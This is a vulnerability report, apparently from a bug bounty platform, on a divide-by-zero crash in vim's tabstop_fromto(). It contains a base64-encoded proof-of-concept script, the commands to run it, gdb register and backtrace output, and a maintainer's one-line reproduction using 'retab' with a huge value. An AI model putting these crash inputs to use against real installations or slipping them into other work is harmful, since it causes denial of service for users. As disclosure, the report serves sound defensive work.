Floating Point Comparison with Incorrect Operator in vim/vim
Valid
Reported on
Feb 4th 2022
Description
Floating point error in tabstop_fromto().
commit : 7676c158798a7c90f500cab2c12af0d47bad6026
Proof of Concept
$ echo -ne "bm9ybTBvMDD/MDAwMDAwMDAwMDAwMDAwMDAwMApzaWwhbm9ybRZjMDAwCQpmdSBSZXRhYihnLG4p
Cm8KZXhlInJldCJhOm4KZW5kZgpjYWwgbCgiIixSZXRhYigwLDQpCnNlIHRhYnN0b3A9NTAwMDAw
MDBHMDAwMDAwMDAwMDAgMApjYWwgbCgiIixSZXRhYigwLDA1MDAwMDAwMDAwMDAwMDAwMDAwMCk=" | base64 -d > poc
# Run
$ ./vim -u NONE -e -s -S poc -c ":qa!"
Floating point exception (core dumped)
# gdb
$ gdb ./vim
gdb-peda$ r -u NONE -e -s -S poc -c ":qa!"
Starting program: /home/alkyne/fuzzing/vim-valgrind/src/vim -u NONE -e -s -S poc -c ":qa!"
Program received signal SIGFPE, Arithmetic exception.
[----------------------------------registers-----------------------------------]
RAX: 0x18
RBX: 0x7127f0 (<__libc_csu_init>: endbr64)
RCX: 0x7d9330 --> 0x1
RDX: 0x0
RSI: 0x1
RDI: 0x18
RBP: 0x7fffffff9da0 --> 0x7fffffff9e70 --> 0x7fffffffa110 --> 0x7fffffffa8d0 --> 0x7fffffffa990 --> 0x7fffffffac30 (--> ...)
RSP: 0x7fffffff9da0 --> 0x7fffffff9e70 --> 0x7fffffffa110 --> 0x7fffffffa8d0 --> 0x7fffffffa990 --> 0x7fffffffac30 (--> ...)
RIP: 0x4eeb38 (<tabstop_fromto+376>: idiv DWORD PTR [rcx+rsi*4])
R8 : 0x7fffffff9dd4 --> 0x0
R9 : 0x7fffffff9dd0 --> 0x0
R10: 0x7c6010 --> 0x1000000030000
R11: 0x7ffff7e33be0 --> 0x7e7940 --> 0x0
R12: 0x404c90 (<_start>: endbr64)
R13: 0x7fffffffe370 --> 0x9 ('\t')
R14: 0x0
R15: 0x0
EFLAGS: 0x10206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x4eeb2f <tabstop_fromto+367>: mov rcx,QWORD PTR [rbp-0x18]
0x4eeb33 <tabstop_fromto+371>: movsxd rsi,DWORD PTR [rbp-0x38]
0x4eeb37 <tabstop_fromto+375>: cdq
=> 0x4eeb38 <tabstop_fromto+376>: idiv DWORD PTR [rcx+rsi*4]
0x4eeb3b <tabstop_fromto+379>: mov eax,DWORD PTR [rbp-0x58]
0x4eeb3e <tabstop_fromto+382>: sub eax,edx
0x4eeb40 <tabstop_fromto+384>: mov DWORD PTR [rbp-0x34],eax
0x4eeb43 <tabstop_fromto+387>: mov eax,DWORD PTR [rbp-0x2c]
[------------------------------------stack-------------------------------------]
0000| 0x7fffffff9da0 --> 0x7fffffff9e70 --> 0x7fffffffa110 --> 0x7fffffffa8d0 --> 0x7fffffffa990 --> 0x7fffffffac30 (--> ...)
0008| 0x7fffffff9da8 --> 0x4f1db2 (<ex_retab+706>: movsxd rax,DWORD PTR [rbp-0x9c])
0016| 0x7fffffff9db0 --> 0x7d9310 ("ret 720575940379279360")
0024| 0x7fffffff9db8 --> 0xffffffff
0032| 0x7fffffff9dc0 --> 0x100000071840e
0040| 0x7fffffff9dc8 --> 0x5c ('\\')
0048| 0x7fffffff9dd0 --> 0x0
0056| 0x7fffffff9dd8 --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGFPE
0x00000000004eeb38 in tabstop_fromto (start_col=0x18, end_col=0x20, ts_arg=0x4, vts=0x7d9330,
ntabs=0x7fffffff9dd4, nspcs=0x7fffffff9dd0) at indent.c:232
232 padding = vts[tabcount] - (int)((start_col - tabcol) % vts[tabcount]);
gdb-peda$ bt
#0 0x00000000004eeb38 in tabstop_fromto (start_col=0x18, end_col=0x20, ts_arg=0x4, vts=0x7d9330,
ntabs=0x7fffffff9dd4, nspcs=0x7fffffff9dd0) at indent.c:232
#1 0x00000000004f1db2 in ex_retab (eap=0x7fffffffa008) at indent.c:1695
#2 0x0000000000497619 in do_one_cmd (cmdlinep=0x7fffffffa898, flags=0x3, cstack=0x7fffffffa250,
fgetline=0x687440 <get_func_line>, cookie=0x7d9860) at ex_docmd.c:2567
#3 0x00000000004948d0 in do_cmdline (cmdline=0x7d97c0 "ret 720575940379279360",
fgetline=0x687440 <get_func_line>, cookie=0x7d9860, flags=0x3) at ex_docmd.c:993
#4 0x000000000046632e in ex_execute (eap=0x7fffffffab28) at eval.c:6491
#5 0x0000000000497619 in do_one_cmd (cmdlinep=0x7fffffffb3b8, flags=0x7, cstack=0x7fffffffad70,
fgetline=0x687440 <get_func_line>, cookie=0x7d9860) at ex_docmd.c:2567
#6 0x00000000004948d0 in do_cmdline (cmdline=0x0, fgetline=0x687440 <get_func_line>, cookie=0x7d9860,
flags=0x7) at ex_docmd.c:993
#7 0x00000000006802ba in call_user_func (fp=0x7d8d00, argcount=0x2, argvars=0x7fffffffbee0,
rettv=0x7fffffffc840, funcexe=0x7fffffffc0a0, selfdict=0x0) at userfunc.c:2816
#8 0x000000000067f56b in call_user_func_check (fp=0x7d8d00, argcount=0x2, argvars=0x7fffffffbee0,
rettv=0x7fffffffc840, funcexe=0x7fffffffc0a0, selfdict=0x0) at userfunc.c:2963
#9 0x000000000067e246 in call_func (funcname=0x7d8570 "Retab(0,05", '0' <repeats 19 times>, ")", len=0x5,
rettv=0x7fffffffc840, argcount_in=0x2, argvars_in=0x7fffffffbee0, funcexe=0x7fffffffc0a0)
at userfunc.c:3517
#10 0x000000000067d942 in get_func_tv (name=0x7d8570 "Retab(0,05", '0' <repeats 19 times>, ")", len=0x5,
rettv=0x7fffffffc840, arg=0x7fffffffc988, evalarg=0x7fffffffca68, funcexe=0x7fffffffc0a0)
at userfunc.c:1778
#11 0x0000000000467828 in eval_func (arg=0x7fffffffc988, evalarg=0x7fffffffca68,
name=0x7d85a9 "Retab(0,05", '0' <repeats 19 times>, ")", name_len=0x5, rettv=0x7fffffffc840, flags=0x1,
basetv=0x0) at eval.c:2096
#12 0x0000000000467167 in eval7 (arg=0x7fffffffc988, rettv=0x7fffffffc840, evalarg=0x7fffffffca68,
want_string=0x0) at eval.c:3739
#13 0x0000000000468f2d in eval7t (arg=0x7fffffffc988, rettv=0x7fffffffc840, evalarg=0x7fffffffca68,
want_string=0x0) at eval.c:3419
#14 0x0000000000468925 in eval6 (arg=0x7fffffffc988, rettv=0x7fffffffc840, evalarg=0x7fffffffca68,
want_string=0x0) at eval.c:3211
#15 0x000000000046810a in eval5 (arg=0x7fffffffc988, rettv=0x7fffffffc840, evalarg=0x7fffffffca68)
at eval.c:2974
#16 0x0000000000467daa in eval4 (arg=0x7fffffffc988, rettv=0x7fffffffc840, evalarg=0x7fffffffca68)
at eval.c:2827
#17 0x00000000004678e8 in eval3 (arg=0x7fffffffc988, rettv=0x7fffffffc840, evalarg=0x7fffffffca68)
at eval.c:2688
#18 0x0000000000460e58 in eval2 (arg=0x7fffffffc988, rettv=0x7fffffffc840, evalarg=0x7fffffffca68)
at eval.c:2562
#19 0x000000000045bf28 in eval1 (arg=0x7fffffffc988, rettv=0x7fffffffc840, evalarg=0x7fffffffca68)
at eval.c:2408
#20 0x000000000067d6cc in get_func_tv (name=0x7d9840 "l", len=0xffffffff, rettv=0x7fffffffcb20,
arg=0x7fffffffcb50, evalarg=0x7fffffffca68, funcexe=0x7fffffffca08) at userfunc.c:1724
#21 0x000000000068717b in ex_call (eap=0x7fffffffccf8) at userfunc.c:5365
#22 0x0000000000497619 in do_one_cmd (cmdlinep=0x7fffffffd588, flags=0x7, cstack=0x7fffffffcf40,
fgetline=0x5e6910 <getsourceline>, cookie=0x7fffffffd6b0) at ex_docmd.c:2567
#23 0x00000000004948d0 in do_cmdline (cmdline=0x7d66c0 "norm0o00\377", '\060' <repeats 19 times>,
fgetline=0x5e6910 <getsourceline>, cookie=0x7fffffffd6b0, flags=0x7) at ex_docmd.c:993
#24 0x00000000005e6093 in do_source (fname=0x7d7bc3 "poc", check_other=0x0, is_vimrc=0x0, ret_sid=0x0)
at scriptfile.c:1512
#25 0x00000000005e563e in cmd_source (fname=0x7d7bc3 "poc", eap=0x7fffffffd908) at scriptfile.c:1098
#26 0x00000000005e555c in ex_source (eap=0x7fffffffd908) at scriptfile.c:1124
#27 0x0000000000497619 in do_one_cmd (cmdlinep=0x7fffffffe198, flags=0xb, cstack=0x7fffffffdb50,
fgetline=0x0, cookie=0x0) at ex_docmd.c:2567
#28 0x00000000004948d0 in do_cmdline (cmdline=0x7d7b80 "so poc", fgetline=0x0, cookie=0x0, flags=0xb)
at ex_docmd.c:993
#29 0x00000000004954c1 in do_cmdline_cmd (cmd=0x7d7b80 "so poc") at ex_docmd.c:587
#30 0x00000000007076b3 in exe_commands (parmp=0x7c44e8 <params>) at main.c:3088
#31 0x000000000070676a in vim_main2 () at main.c:774
#32 0x000000000070434f in main (argc=0x9, argv=0x7fffffffe378) at main.c:426
#33 0x00007ffff7c6f0b3 in __libc_start_main (main=0x703e80 <main>, argc=0x9, argv=0x7fffffffe378,
init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7fffffffe368)
at ../csu/libc-start.c:308
#34 0x0000000000404cbe in _start ()
Impact
This bug is capable of Denial of Service (DoS).
We are processing your report and will contact the
vim
team within 24 hours.
a year ago
We have contacted a member of the
vim
team and are waiting to hear back
a year ago
I can reproduce it. The POC can be much simplified though.
It can be reproduced with just this command on a line with a Tab: "retab 720575940379279360"
@alkyne - unfortunately, we do not assign CVEs against this type of vulnerability/weakness/CWE.
to join this conversation